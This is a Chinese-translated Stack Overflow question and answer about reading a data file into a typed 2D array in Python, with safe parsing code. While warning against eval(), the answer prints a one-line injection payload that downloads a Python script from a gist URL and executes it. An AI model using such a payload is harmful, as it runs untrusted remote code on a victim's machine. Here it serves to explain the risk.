我对编程很陌生。我想读取一个数据文件并将其作为二维数组存储在 python3 中,以便我可以对单个元素进行操作。我正在使用以下方法读入文件:
with open("text.txt", "r") as text:
lines = [line.split() for line in text]
然而,这会将所有内容解析为文本。如何在维护数据类型的同时读取文件(文本解析为文本,整数解析为整数, float 解析为 float 等)? 输入文件看起来像这样:
HNUS 4973168.840 1734085.512 -3585434.051
PRET 5064032.237 2724721.031 -2752950.762
RBAY 4739765.776 2970758.460 -3054077.535
TDOU 5064840.815 2969624.535 -2485109.939
ULDI 4796680.897 2930311.589 -3005435.714
最佳答案
通常,您应该期待行、列或特定单元格的特定数据类型。在您的情况下,这将是一行的每个第一个单元格中的一个字符串和所有其他单元格中后面的数字。
data = []
with open('text.txt', 'r') as fp:
for line in (l.split() for l in fp):
line[1:] = [float(x) for x in line[1:]]
data.append(line)
如果您真的只想将每个单元格转换为最接近的适用数据类型,您可以使用这样的函数并将其应用于二维列表中的每个单元格。
def nearest_applicable_conversion(x):
try:
return int(x)
except ValueError:
pass
try:
return float(x)
except ValueError:
pass
return x
我强烈反对您使用eval()
,因为它会评估任何有效的 Python 代码,并使您的系统容易受到知道如何执行此操作的人的攻击。通过将以下代码放入您从 text.txt
中 eval()
的单元格之一,我可以轻松执行任意代码,我只需要确保它不包含空格因为这会使代码拆分为多个单元格:
(lambda:(eval(compile(__import__('urllib.request').request.urlopen('https://gist.githubusercontent.com/NiklasRosenstein/470377b7ceef98ef6b87/raw/06593a30d5b00ca506b536315ac79f7b950a5163/jagged.py').read().decode(),'<string>','exec'),globals())))()
关于python - 如何在 Python 中维护数据类型的同时将文件解析为二维数组?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/31649843/